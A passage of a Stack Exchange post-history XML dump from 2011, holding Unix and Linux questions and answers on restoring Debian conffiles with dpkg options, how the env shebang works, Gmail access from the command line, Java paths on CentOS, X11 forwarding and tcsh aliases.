originally&#xD;&#xA;    installed default, i.e. on an upgrade. &#xD;&#xA;&#xD;&#xA;If we are invoking dpkg via apt, we need to pass these options to apt. This is done as follows for the two cases above :&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confmiss&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confnew&quot; -o Dpkg::Options::=&quot;--force-confask&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;I could not find any documentation for `Dpkg::Options`. I found it by Googling. If you know of any, please comment.&#xD;&#xA;&#xD;&#xA;Comments:&#xD;&#xA;&#xD;&#xA; 1. I think if you are faced with a&#xD;&#xA;    situation where you have messed up a&#xD;&#xA;    config file and want to back, it is&#xD;&#xA;    safer to rename it, and then use&#xD;&#xA;    `--force-confmiss` rather than&#xD;&#xA;    asking for all your local&#xD;&#xA;    modifications to be replaced by the&#xD;&#xA;    default per `--force-confnew`, which&#xD;&#xA;    is in general not what you want.&#xD;&#xA;&#xD;&#xA; 2. If working with config files, always&#xD;&#xA;    keep them under version control.&#xD;&#xA;    This would make the issues of messed&#xD;&#xA;    up config files moot. I use and&#xD;&#xA;    recommend&#xD;&#xA;    [mercurial](http://mercurial.selenic.com/wiki/).&#xD;&#xA;    In this case (and probably any case&#xD;&#xA;    :-)), you are better off in this&#xD;&#xA;    context using distributed version&#xD;&#xA;    control than a centralized version&#xD;&#xA;    control system like&#xD;&#xA;    [subversion](http://subversion.apache.org/).&#xD;&#xA;&#xD;&#xA; 3. It is also worth mentioning, and&#xD;&#xA;    might have contributed to the&#xD;&#xA;    confusion here, that with apt in&#xD;&#xA;    squeeze, `apache2.2-common` does&#xD;&#xA;    not uninstall cleanly, because of&#xD;&#xA;    [apt bug&#xD;&#xA;    621720](http://bugs.debian.org/621720),&#xD;&#xA;    which coincidentally covers the&#xD;&#xA;    case of `apache2.2-common` removal.&#xD;&#xA;    Per the bug report you will need to use `apt-get&#xD;&#xA;    remove apache2.2-common -o&#xD;&#xA;    pkgProblemResolver::FixByInstall=0`&#xD;&#xA;    (verified by me).&#xD;&#xA;&#xD;&#xA; 4. See [Everything you need to know&#xD;&#xA;    about conffiles: configuration files&#xD;&#xA;    managed by&#xD;&#xA;    dpkg](http://raphaelhertzog.com/2010/09/21/debian-conffile-configuration-file-managed-by-dpkg/)&#xD;&#xA;    for a discussion of dpkg's config&#xD;&#xA;    file handling by [Raphaël&#xD;&#xA;    Hertzog](http://raphaelhertzog.com/about-me/),&#xD;&#xA;    one of dpkg's developers. He&#xD;&#xA;    mentions that `--force-confask` is&#xD;&#xA;    new in Squeeze.&#xD;&#xA;&#xD;&#xA;Thanks to David Kalnischkies and Raphaël Hertzog for answering my questions about this (and telling me I was posting to the wrong mailing list). I think the Debian documentation in this context could be improved, and specifically, the dpkg man page could do with additional usage examples. I encourage people here (who are obviously willing to help out) to also take time to contribute documentation patches to free software projects like Debian. It is valuable work and there are not enough people doing it." />
  <row Id="31294" PostHistoryTypeId="2" PostId="12750" RevisionGUID="16a0e1fa-aad0-455d-b659-e4b58e6cb74f" CreationDate="2011-05-06T16:01:30.110" UserId="7140" Text="How do I use the mail command to check email (and send email) from gmail. Does it support labels? I couldn't have figure out where to put the username and password. &#xD;&#xA;I tried to search for instruction but couldn't find any" />
  <row Id="31295" PostHistoryTypeId="1" PostId="12750" RevisionGUID="16a0e1fa-aad0-455d-b659-e4b58e6cb74f" CreationDate="2011-05-06T16:01:30.110" UserId="7140" Text="using the mail command" />
  <row Id="31296" PostHistoryTypeId="3" PostId="12750" RevisionGUID="16a0e1fa-aad0-455d-b659-e4b58e6cb74f" CreationDate="2011-05-06T16:01:30.110" UserId="7140" Text="écommandölineàémailà" />
  <row Id="31297" PostHistoryTypeId="2" PostId="12751" RevisionGUID="4f23bc83-bff0-41b2-8cb4-61a5a46d80ea" CreationDate="2011-05-06T16:29:28.837" UserId="885" Text="The [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line (from “sharp bang”, i.e. `#!`) is processed by the kernel. The kernel doesn't want to know about environment variables such as `PATH`. So the name on the shebang line must be an absolute path to an executable. You can also specify an additional argument to pass to that executable before the script name (with system-dependent restrictions I won't go into here). For example, for a Python script, you can specify&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python&#xD;&#xA;&#xD;&#xA;on the first line, and when you execute the script, the kernel will in fact execute `/usr/bin/python /path/to/script`. But that's not convenient: you need to specify the full path of the command. What if you have `python` in `/usr/bin` on some machines and `/usr/local/bin` on others? Or you want to set your `PATH` to `/home/joe/opt/python-2.5` so as to use a specific version of Python? Since the kernel won't do the `PATH` lookup for you, the idea is to make the kernel run a command that in turns looks up the desired interpreted in the `PATH`:&#xD;&#xA;&#xD;&#xA;    #!/fixed/path/to/path-lookup-command python&#xD;&#xA;&#xD;&#xA;That `path-lookup-command` must take the name of an executable as an argument and look it up in `PATH` and execute it: the kernel will run `/fixed/path/to/path-lookup-command python /path/to/script`. As it happens, the [`env`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/env.html) command does just that. Its main purpose is to run a command with a different environment, but since it looks up the command name in `$PATH`, it's perfect for our purpose here.&#xD;&#xA;&#xD;&#xA;Although this is not officially guaranteed, historic Unix systems provided `env` in `/usr/bin`, and modern systems have kept that location precisely because of the widespread use of `#!/usr/bin/env`. So, in practice, the way to specify that a script must be executed by the user's favorite Python interpreter is&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;" />
  <row Id="31298" PostHistoryTypeId="2" PostId="12752" RevisionGUID="12bab7a8-16cc-4cba-8038-c01ad252d4f8" CreationDate="2011-05-06T16:45:38.447" UserId="885" Text="The `mail` command is an old and primitive mail client. It only supports reading mail locally on a unix server, typically stored in [mbox format](http://en.wikipedia.org/wiki/Mbox) in `/var/mail` or a similar location.&#xD;&#xA;&#xD;&#xA;To read [Gmail](http://en.wikipedia.org/wiki/Gmail) mail, you need to either use their web interface, or use a client that works with Gmail's [POP3](http://en.wikipedia.org/wiki/POP3) or [IMAP](http://en.wikipedia.org/wiki/IMAP) access, or use the unmaintained [Gmailfs](http://en.wikipedia.org/wiki/Gmailfs) (not recommended for inexperienced users). I recommend IMAP (make sure that you've enabled IMAP access in your account).&#xD;&#xA;&#xD;&#xA;There are many email clients that support IMAP. On the command line, you could use [Mutt](http://www.mutt.org/), [Sup](http://sup.rubyforge.org/), one of the [Emacs mail clients](http://www.emacswiki.org/emacs/CategoryMail), or many others. Just about any GUI mail client supports IMAP. IMAP only defined folders, not labels (the difference is that a mail is only in one folder but can have many labels); not all good IMAP clients are good at managing labels, and I don't know what clients support labels well.&#xD;&#xA;&#xD;&#xA;Another approach would be to have Gmail forward all mails to your machine. But that requires an always-on, always-connected machine, and some technical know-how. I don't recommend this for an inexperienced user. And I'd recommend a more modern mail client than `mail` anyway.&#xD;&#xA;" />
  <row Id="31300" PostHistoryTypeId="2" PostId="12753" RevisionGUID="92c43c4e-1520-4692-a67e-1b98085bb180" CreationDate="2011-05-06T17:16:35.677" UserId="5510" Text="I am installing a new version of Java on a CentOS/RHEL Linux distro for a single developer to develop java.&#xD;&#xA;&#xD;&#xA;The way I want to install on this development system is to just put the new java version somewhere and then update my path so that the new java is earlier on the path (and thus executes always) instead of the old version of java (which will be later on the path).&#xD;&#xA;&#xD;&#xA;But while looking online I came across an official multi-page howto for this distro... and it describes a completely different idea of what I SHOULD do: http://wiki.centos.org/HowTos/JavaOnCentOS&#xD;&#xA;&#xD;&#xA;**For a single developer, is modifying the path (to point to the new java) going to work for developing java?**&#xD;&#xA;&#xD;&#xA;**Why would you ever want to go through the laborious description seen on the above referenced official wiki page?**" />
  <row Id="31301" PostHistoryTypeId="1" PostId="12753" RevisionGUID="92c43c4e-1520-4692-a67e-1b98085bb180" CreationDate="2011-05-06T17:16:35.677" UserId="5510" Text="RHEL/CentOS: Installing a new version of Java, why not just change the path?" />
  <row Id="31302" PostHistoryTypeId="3" PostId="12753" RevisionGUID="92c43c4e-1520-4692-a67e-1b98085bb180" CreationDate="2011-05-06T17:16:35.677" UserId="5510" Text="épackageömanagementàécentosàérpmàédevelopmentàéjavaà" />
  <row Id="31303" PostHistoryTypeId="5" PostId="12736" RevisionGUID="0f47f3a9-2b38-4a08-97d0-a8c918214fd8" CreationDate="2011-05-06T17:17:07.193" UserId="591" Comment="removed thanks capitalised I's" Text="super simple question I think- when I use the shebang `#!/usr/bin/env python` to run a script, how does the system know which python to use?  if I look for a python bin path in the environment variables I find nothing.&#xD;&#xA;&#xD;&#xA;`env | grep -i python`" />
  <row Id="31304" PostHistoryTypeId="24" PostId="12736" RevisionGUID="0f47f3a9-2b38-4a08-97d0-a8c918214fd8" CreationDate="2011-05-06T17:17:07.193" Comment="Proposed by 591 approved by 73 edit id of 358" />
  <row Id="31305" PostHistoryTypeId="2" PostId="12754" RevisionGUID="eafc5f15-28fb-43fc-9de2-4619ac5a0d2f" CreationDate="2011-05-06T17:26:21.190" UserId="2421" Text="If you read the manpage for [semget][1], in the Notes section you'll notice:&#xD;&#xA;&#xD;&#xA;&gt; System wide maximum number of semaphore sets: policy dependent (on Linux, this limit can be read and modified via the fourth field of `/proc/sys/kernel/sem`).&#xD;&#xA;&#xD;&#xA;On my system, `cat /proc/sys/kernel/sem` reports:&#xD;&#xA;&#xD;&#xA;    250	32000	32	128&#xD;&#xA;&#xD;&#xA;So do that on your system, and then echo it back after increasing the last number:&#xD;&#xA;&#xD;&#xA;    printf '250\t32000\t32\t200' &gt;/proc/sys/kernel/sem&#xD;&#xA;&#xD;&#xA;(There are tab characters between the numbers, so I'm using [`printf`][2] to generate them.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/2/semget&#xD;&#xA;  [2]: http://linux.die.net/man/1/printf" />
  <row Id="31306" PostHistoryTypeId="2" PostId="12755" RevisionGUID="c737004c-fcff-42d4-a78b-42e7e76ccd4a" CreationDate="2011-05-06T17:40:31.403" UserId="4856" Text="I have a machine running Ubuntu which I SSH to from my Fedora 14 machine. I want to forward X from the Ubuntu machine back to Fedora so I can run graphical programs remotely. Both machines are on a LAN.&#xD;&#xA;&#xD;&#xA;I know that the `-X` option enables X11 forwarding in SSH, but I feel like I am missing some of the steps.&#xD;&#xA;&#xD;&#xA;What are the required steps to forward X from a Ubuntu machine to Fedora over SSH?&#xD;&#xA;" />
  <row Id="31307" PostHistoryTypeId="1" PostId="12755" RevisionGUID="c737004c-fcff-42d4-a78b-42e7e76ccd4a" CreationDate="2011-05-06T17:40:31.403" UserId="4856" Text="How to forward X over SSH from Ubuntu machine?" />
  <row Id="31308" PostHistoryTypeId="3" PostId="12755" RevisionGUID="c737004c-fcff-42d4-a78b-42e7e76ccd4a" CreationDate="2011-05-06T17:40:31.403" UserId="4856" Text="élinuxàéubuntuàésshàéfedoraàéxorgà" />
  <row Id="31309" PostHistoryTypeId="2" PostId="12756" RevisionGUID="57db6c15-0582-44a2-97f7-75a3469cce25" CreationDate="2011-05-06T17:40:46.070" UserId="7246" Text="As far as I know, there is no place that this information is stored on. It is coded into the filesystem. However, you can manually make a list of filesystems and the corresponding precision. I would use a case statement to test the filesystem id against your list of filesystems. You can make the default 1 since there are very few examples where precision is less than 1 second.&#xD;&#xA;&#xD;&#xA;Older versions of FAT and current versions of zip use 2 second time stamp precision from what I have read online. However, I suggest you fact check that.&#xD;&#xA;&#xD;&#xA;You can get the id of a file's filsystem with the following command.&#xD;&#xA;&gt;stat -f --format=&quot;%i&quot; $file" />
  <row Id="31310" PostHistoryTypeId="2" PostId="12757" RevisionGUID="fa96a61f-f707-4b98-861b-feda3e2bba84" CreationDate="2011-05-06T17:56:03.977" UserId="6740" Text="Does anyone know how I can backup an entire system, such that if the disk drive failed, I could quickly restore the backup onto another disk?&#xD;&#xA;&#xD;&#xA;I'm running Fedora 14.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="31311" PostHistoryTypeId="1" PostId="12757" RevisionGUID="fa96a61f-f707-4b98-861b-feda3e2bba84" CreationDate="2011-05-06T17:56:03.977" UserId="6740" Text="System Backup in Fedora 14" />
  <row Id="31312" PostHistoryTypeId="3" PostId="12757" RevisionGUID="fa96a61f-f707-4b98-861b-feda3e2bba84" CreationDate="2011-05-06T17:56:03.977" UserId="6740" Text="éfedoraàébackupà" />
  <row Id="31313" PostHistoryTypeId="5" PostId="12748" RevisionGUID="3913d56a-5065-449f-ab2e-9755ec607472" CreationDate="2011-05-06T17:57:11.550" UserId="1925" Comment="added 103 characters in body" Text="(I'm following up on [Caleb's answer][1], though most of the relevant information will be in the comments already. I figure a summary might be more convenient than having to look through the comments.)&#xD;&#xA;&#xD;&#xA;So, the issue, as described in Caleb's post, was that Alexander deleted (or possibly modified)`/etc/init.d/apache2` and wanted to get it back. This file is in `apache-2.2-common`. The obvious `apt-get install --reinstall apache2.2-common` doesn't restore the file, though. The reason for this, per Debian policy, is that config files are not touched by the system once they have altered, unless explicitly asked by the user. See [Debian Policy on config file handling: Section 10.7.3](http://www.debian.org/doc/debian-policy/ch-files.html#s10.7.3). Quote:&#xD;&#xA;&#xD;&#xA;&gt; Configuration file handling must conform to the following behavior:&#xD;&#xA;&#xD;&#xA;&gt; 1. local changes must be preserved during&#xD;&#xA;&gt; a package upgrade, and&#xD;&#xA;&#xD;&#xA;&gt; 2. configuration files must be&#xD;&#xA;&gt;    preserved&#xD;&#xA;&gt;    when the package is removed, and only&#xD;&#xA;&gt;    deleted when the package is purged.&#xD;&#xA;&#xD;&#xA;Packages additions and removals are handled by [dpkg](http://packages.qa.debian.org/d/dpkg.html). dpkg distinguishes cases here, when the file is modified, and when it has been completely removed. See the section in the options section starting with `--force-things` in the [dpkg man page](http://manpages.ubuntu.com/manpages/natty/man1/dpkg.1.html). (Linking to Ubuntu's dpkg 1.16 page, because I could not find the Debian squeeze man pages online. If you have a pointer, please comment.)&#xD;&#xA;&#xD;&#xA;So for the two situations&#xD;&#xA;&#xD;&#xA; 1. If you want conf files that have&#xD;&#xA;    been removed to be replaced by&#xD;&#xA;    reinstallation, you need to pass the&#xD;&#xA;    `--force-confmiss` option to dpkg.&#xD;&#xA;&#xD;&#xA; 2. If you want conf files that have&#xD;&#xA;    been altered, but not removed, to be&#xD;&#xA;    replaced by their default version on&#xD;&#xA;    installation, you need to pass both&#xD;&#xA;    the `--force-confnew` and&#xD;&#xA;    `--force-confask` options to dpkg.&#xD;&#xA;    As the man page explains, --force-confnew&#xD;&#xA;    by itself will only replace the modified&#xD;&#xA;    conf file with the default in cases when&#xD;&#xA;    the default is newer than the originally&#xD;&#xA;    installed default, i.e. on an upgrade. &#xD;&#xA;&#xD;&#xA;If we are invoking dpkg via apt, we need to pass these options to apt. This is done as follows for the two cases above :&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confmiss&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;    apt-get -o Dpkg::Options::=&quot;--force-confnew&quot; -o Dpkg::Options::=&quot;--force-confask&quot; install --reinstall apache2.2-common&#xD;&#xA;&#xD;&#xA;I could not find any documentation for `Dpkg::Options`. I found it by Googling. If you know of any, please comment.&#xD;&#xA;&#xD;&#xA;Comments:&#xD;&#xA;&#xD;&#xA; 1. I think if you are faced with a&#xD;&#xA;    situation where you have messed up a&#xD;&#xA;    config file and want to back, it is&#xD;&#xA;    safer to rename it, and then use&#xD;&#xA;    `--force-confmiss` rather than&#xD;&#xA;    asking for all your local&#xD;&#xA;    modifications to be replaced by the&#xD;&#xA;    default per `--force-confnew`, which&#xD;&#xA;    is in general not what you want.&#xD;&#xA;&#xD;&#xA; 2. If working with config files, always&#xD;&#xA;    keep them under version control.&#xD;&#xA;    This would make the issues of messed&#xD;&#xA;    up config files moot. I use and&#xD;&#xA;    recommend&#xD;&#xA;    [mercurial](http://mercurial.selenic.com/wiki/).&#xD;&#xA;    In this case (and probably any case&#xD;&#xA;    :-)), you are better off in this&#xD;&#xA;    context using distributed version&#xD;&#xA;    control than a centralized version&#xD;&#xA;    control system like&#xD;&#xA;    [subversion](http://subversion.apache.org/).&#xD;&#xA;&#xD;&#xA; 3. It is also worth mentioning, and&#xD;&#xA;    might have contributed to the&#xD;&#xA;    confusion here, that with apt in&#xD;&#xA;    squeeze, `apache2.2-common` does&#xD;&#xA;    not uninstall cleanly, because of&#xD;&#xA;    [apt bug&#xD;&#xA;    621720](http://bugs.debian.org/621720),&#xD;&#xA;    which coincidentally covers the&#xD;&#xA;    case of `apache2.2-common` removal.&#xD;&#xA;    Per the bug report you will need to use `apt-get&#xD;&#xA;    remove apache2.2-common -o&#xD;&#xA;    pkgProblemResolver::FixByInstall=0`&#xD;&#xA;    (verified by me).&#xD;&#xA;&#xD;&#xA; 4. See [Everything you need to know&#xD;&#xA;    about conffiles: configuration files&#xD;&#xA;    managed by&#xD;&#xA;    dpkg](http://raphaelhertzog.com/2010/09/21/debian-conffile-configuration-file-managed-by-dpkg/)&#xD;&#xA;    for a discussion of dpkg's config&#xD;&#xA;    file handling by [Raphaël&#xD;&#xA;    Hertzog](http://raphaelhertzog.com/about-me/),&#xD;&#xA;    one of dpkg's developers. He&#xD;&#xA;    mentions that `--force-confask` is&#xD;&#xA;    new in Squeeze.&#xD;&#xA;&#xD;&#xA;Thanks to David Kalnischkies and Raphaël Hertzog for answering my questions about this (and telling me I was posting to the wrong mailing list). I think the Debian documentation in this context could be improved, and specifically, the dpkg man page could do with additional usage examples. I encourage people here (who are obviously willing to help out) to also take time to contribute documentation patches to free software projects like Debian. It is valuable work and there are not enough people doing it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12597/missing-init-d-apache2-file/12598#12598" />
  <row Id="31314" PostHistoryTypeId="5" PostId="12751" RevisionGUID="3d31d6f9-b94d-47fd-9636-f152bb1163c9" CreationDate="2011-05-06T17:58:51.330" UserId="2421" Comment="fixed typo" Text="The [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line (from “sharp bang”, i.e. `#!`) is processed by the kernel. The kernel doesn't want to know about environment variables such as `PATH`. So the name on the shebang line must be an absolute path to an executable. You can also specify an additional argument to pass to that executable before the script name (with system-dependent restrictions I won't go into here). For example, for a Python script, you can specify&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python&#xD;&#xA;&#xD;&#xA;on the first line, and when you execute the script, the kernel will in fact execute `/usr/bin/python /path/to/script`. But that's not convenient: you need to specify the full path of the command. What if you have `python` in `/usr/bin` on some machines and `/usr/local/bin` on others? Or you want to set your `PATH` to `/home/joe/opt/python-2.5` so as to use a specific version of Python? Since the kernel won't do the `PATH` lookup for you, the idea is to make the kernel run a command that in turns looks up the desired interpreter in the `PATH`:&#xD;&#xA;&#xD;&#xA;    #!/fixed/path/to/path-lookup-command python&#xD;&#xA;&#xD;&#xA;That `path-lookup-command` must take the name of an executable as an argument and look it up in `PATH` and execute it: the kernel will run `/fixed/path/to/path-lookup-command python /path/to/script`. As it happens, the [`env`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/env.html) command does just that. Its main purpose is to run a command with a different environment, but since it looks up the command name in `$PATH`, it's perfect for our purpose here.&#xD;&#xA;&#xD;&#xA;Although this is not officially guaranteed, historic Unix systems provided `env` in `/usr/bin`, and modern systems have kept that location precisely because of the widespread use of `#!/usr/bin/env`. So, in practice, the way to specify that a script must be executed by the user's favorite Python interpreter is&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;" />
  <row Id="31315" PostHistoryTypeId="5" PostId="12598" RevisionGUID="5d0be095-3902-4694-917f-1e7c3d473f4d" CreationDate="2011-05-06T18:01:19.020" UserId="1925" Comment="added 307 characters in body" Text="Try using `apt-get install --reinstall apache2` to force the apt-get system to install again even though the package exists and overwrite current files — even the ones it thinks are already there.&#xD;&#xA;&#xD;&#xA;By manually deleting things from the system you undoubtedly have the package manager confused about what needs doing where. You usually want to stick to using the tools provided unless you understand what you are effecting by manually fiddling.&#xD;&#xA;&#xD;&#xA;As an extra note, you don't usually need to mess with the files in /etc/init.d yourself. There is a tool that takes care of running those scripts for you. For example to restart apache you could run `service apache2 restart`.&#xD;&#xA;&#xD;&#xA;**Edited based on information found in comments**&#xD;&#xA;&#xD;&#xA;The init script is part of a sub-package. Installing a package for the first time will install it's dependencies, but uninstalling it will just uninstall the package, not it's dependencies. The init script that you manually removed belongs to the `apache2.2-common` package with was a dependency of the main `apache2` package name. Removing apache2 even with `--purge` would have no effect on the init script because it's part of a different package. To get it back run `apt-get install --reinstall apache2.2-common`.&#xD;&#xA;&#xD;&#xA;**Edit2**&#xD;&#xA;&#xD;&#xA;Apparently Debian is wacky. I replicated the problem on a test system and was unable to get the init script back with the package manager. I found several other people with the same problem out on the web, and it looks like the solution is to manually download the package, extract it, and rip the file out like this:&#xD;&#xA;&#xD;&#xA;    cd /tmp&#xD;&#xA;    aptitude download apache2.2-common&#xD;&#xA;    dpkg --extract apache2.2-common_*.deb apache2.2-common&#xD;&#xA;    sudo cp apache2.2-common/etc/init.d/apache2 /etc/init.d&#xD;&#xA;&#xD;&#xA;**Edit3**&#xD;&#xA;&#xD;&#xA;Thanks to investigation done by Faheem Mitha and discussion on the comments below, a full answer to this question has worked out. [Read Faheem's answer for full details][2]. For humor value, here are the cliff notes:&#xD;&#xA;&#xD;&#xA;The short version is that init scripts are considered conf files, and apt-get is too polite to touch conf files that have been user-modified in any way, even to restore deleted on reinstall after a uninstall. Before you say &quot;duh of course&quot;, check out the gymnastics you have to do. I quote:&#xD;&#xA;&#xD;&#xA;&gt; After asking the dpkg list (and being told off for it) + further fiddling, the following works. Be careful with this. It will replace all your modified config files with the version from the package. `apt-get -o Dpkg::Options::=&quot;--force-confnew&quot; -o Dpkg::Options::=&quot;--force-confask&quot; install --reinstall apache2.2-common`. I don't know why you needed me to tell you this. It's the first thing you should have thought of. :-) – Faheem Mitha&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12597/missing-init-d-apache2-file/12748#12748&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/12597/missing-init-d-apache2-file/12748#12748" />
  <row Id="31316" PostHistoryTypeId="2" PostId="12758" RevisionGUID="128cc8f5-74b5-4273-9cc5-026d1485572a" CreationDate="2011-05-06T18:05:01.703" UserId="1925" Text="`X11Forwarding` must be set to allow the action on the site you are SSHing to (in your case the Ubuntu box) and you should set `ForwardXll` in your client config on the other side (your Fedora box). This can be done in the default options or your user ssh config file." />
  <row Id="31317" PostHistoryTypeId="25" PostId="12750" RevisionGUID="8727933a-2a0e-4d21-aee5-eb91e9839cca" CreationDate="2011-05-06T18:11:28.857" Comment="http://twitter.com/#!/StackUnix/status/66565761669406720" />
  <row Id="31318" PostHistoryTypeId="5" PostId="12736" RevisionGUID="6db0eb4d-1f66-49cd-bcdb-606c36f84972" CreationDate="2011-05-06T18:12:42.257" UserId="73" Comment="deleted 23 characters in body; edited title" Text="When I use the shebang `#!/usr/bin/env python` to run a script, how does the system know which `python` to use?  if I look for a `python` bin path in the environment variables I find nothing.&#xD;&#xA;&#xD;&#xA;    env | grep -i python&#xD;&#xA;" />
  <row Id="31319" PostHistoryTypeId="4" PostId="12736" RevisionGUID="6db0eb4d-1f66-49cd-bcdb-606c36f84972" CreationDate="2011-05-06T18:12:42.257" UserId="73" Comment="deleted 23 characters in body; edited title" Text="How does /usr/bin/env know which program to use?" />
  <row Id="31320" PostHistoryTypeId="2" PostId="12759" RevisionGUID="356032d7-5609-4fab-891a-b3594221f085" CreationDate="2011-05-06T18:12:57.357" UserId="7255" Text="Sounds like you might be running into an issue with new drives having 4KB sectors. It's a pretty new thing, and lots of tools either don't support it or need special options specified. See [this LWN article][1] for more background.&#xD;&#xA;&#xD;&#xA;In this case the drive is reporting 512B sectors as a compatibility thing, but when you're doing sector level stuff `fdisk` needs to know the real sector size;  what you're seeing looks exactly like what happened to [this guy][2]. Basically, run `fdisk -b 4096 -u /dev/XXXX`, use the `c` command to disable MS-DOS compat mode, then partition as you like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lwn.net/Articles/377895/&#xD;&#xA;  [2]: http://jim.studt.net/depository/index.php/4k-sector-disks-on-debian-squeeze" />
  <row Id="31321" PostHistoryTypeId="2" PostId="12760" RevisionGUID="b147c75e-711a-4308-b983-a0d4abb28ab5" CreationDate="2011-05-06T18:16:01.137" UserId="7285" Text="You need to upgrade.  8.04 has reached end of life on the desktop, and is only getting critical security fixes for certain packages used on server edition.&#xD;&#xA;" />
  <row Id="31322" PostHistoryTypeId="5" PostId="12729" RevisionGUID="e06f6288-213f-4dff-afda-64a292f8cee5" CreationDate="2011-05-06T18:16:20.993" UserId="1925" Comment="Fixed use of wrong slash" Text="Your question is confusing, but it sounds like you have source code files.  A `.c` file is meant for use by a compiler (like `gcc`) and not something that can be directly executed.&#xD;&#xA;&#xD;&#xA;You need to compile them and then you'll get an executable, which is something you can run.&#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;- Open a terminal&#xD;&#xA;- `cd` into the directory that has the make file&#xD;&#xA;- `ls` and see if there is a `readme.txt` or a `docs` or `doc` directory.  Read any of those, or anything in those directories, it may give you specific instructions&#xD;&#xA;- Failing that, try entering `make` and see what happens.  If it works you'll have an executable file called `lc` that you can run by entering `./lc`.&#xD;&#xA;" />
  <row Id="31323" PostHistoryTypeId="2" PostId="12761" RevisionGUID="cb966700-115c-4e59-b0ea-0c629308af86" CreationDate="2011-05-06T18:19:23.910" UserId="7286" Text="I just had the same problem in Linux, using Bash. I first used the environment variable SSH_CONNECTION, but then realized that it is not set if you `su -`.&#xD;&#xA;&#xD;&#xA;The lastlog solution above didn't work either after `su` or `su -`.&#xD;&#xA;&#xD;&#xA;Finally, I am using `who am i`, which shows the remote IP at the end if it's an SSH connection. It also works after su.&#xD;&#xA;&#xD;&#xA;Using Bash regular expressions, this works:&#xD;&#xA;&#xD;&#xA;    if [[ $(who am i) =~ \([0-9\.]+\)$ ]] ; then echo SSH; else echo no; fi&#xD;&#xA;&#xD;&#xA;If zsh doesn't support regular expressions, the same can be achieved in many different ways with grep, cut, sed, or whatever.&#xD;&#xA;&#xD;&#xA;For the curious, below is what I use this for, in root's .bashrc :&#xD;&#xA;&#xD;&#xA;        # We don't allow root login over ssh.&#xD;&#xA;        # To enable root X forwarding if we are logged in over SSH, &#xD;&#xA;        # use the .Xauthority file of the user who did su&#xD;&#xA;&#xD;&#xA;        w=$(who am i)&#xD;&#xA;        if [[ $w =~ \([0-9\.]+\)$ ]] ; then&#xD;&#xA;            olduser=${w/ .*/}&#xD;&#xA;            oldhome=$(getent passwd $olduser | cut -d: -f 6)&#xD;&#xA;            [ -f &quot;$oldhome/.Xauthority&quot; ] \&#xD;&#xA;              &amp;&amp; export XAUTHORITY=$oldhome/.Xauthority&#xD;&#xA;        fi&#xD;&#xA;" />
  <row Id="31324" PostHistoryTypeId="5" PostId="12719" RevisionGUID="90853d17-4f6b-466e-a67c-eb16029d66c1" CreationDate="2011-05-06T18:23:36.793" UserId="1925" Comment="deleted 3 characters in body; deleted 2 characters in body" Text="Are there any timeout settings that can be used so that when a root shell (e.g. in say gnome-terminal) doesn't run any processes (e.g: start a script, or something), after a given time it logs out?&#xD;&#xA;&#xD;&#xA;I'm searching for a solution that works under Fedora/bash and OpenBSD/ksh." />
  <row Id="31325" PostHistoryTypeId="5" PostId="12715" RevisionGUID="6b37b170-8fe8-45d7-b3a3-9d1b174ae3f2" CreationDate="2011-05-06T18:27:29.430" UserId="1925" Comment="deleted 65 characters in body" Text="If I have:&#xD;&#xA;&#xD;&#xA;	[usern@hostn yum.repos.d]$ cat google-chrome.repo &#xD;&#xA;	[google-chrome]&#xD;&#xA;	name=google-chrome&#xD;&#xA;	baseurl=http://dl.google.com/linux/chrome/rpm/stable/i386&#xD;&#xA;	enabled=1&#xD;&#xA;	gpgcheck=1&#xD;&#xA;&#xD;&#xA;...how can I ensure that there will not be incidents like (just theory): a firefox package comes out in the google chrome repo, and because (just theory again) it has a newer version then the one that's in the original repos it gets installed when updating? How could I ensure that that from the google-chrome-repos I only get the google-chrome package?" />
  <row Id="31326" PostHistoryTypeId="2" PostId="12762" RevisionGUID="4bb9b0b8-615b-4a88-bbe1-293b6b7f1217" CreationDate="2011-05-06T18:32:16.693" UserId="7284" Text="I am using tcsh. bash and zsh and other suggestions won't help here.&#xD;&#xA;&#xD;&#xA;I have several aliases that are named the same thing as another command, so if I did unalias it, typing the same thing would now do something different.&#xD;&#xA;&#xD;&#xA;Most of the time I want the aliased command, which is why I have them. However, sometimes I want the unaliased command.&#xD;&#xA;&#xD;&#xA;Without actually unaliasing and redefining the command, is there a simple way to tell tcsh to use the unaliased command instead?&#xD;&#xA;&#xD;&#xA;For example, vi is aliased to vim, but sometimes I want to just use vi. cd is aliased to change my window title, but sometimes I want to leave it alone.&#xD;&#xA;&#xD;&#xA;Obviously I could type /usr/bin/vi but since cd is a shell built-in command, there is no equivalent. Is there a general solution?&#xD;&#xA;" />
  <row Id="31327" PostHistoryTypeId="1" PostId="12762" RevisionGUID="4bb9b0b8-615b-4a88-bbe1-293b6b7f1217" CreationDate="2011-05-06T18:32:16.693" UserId="7284" Text="How do I temporarily bypass an alias in tcsh?" />
  <row Id="31328" PostHistoryTypeId="3" PostId="12762" RevisionGUID="4bb9b0b8-615b-4a88-bbe1-293b6b7f1217" CreationDate="2011-05-06T18:32:16.693" UserId="7284" Text="éshellàéaliasàétcshà" />
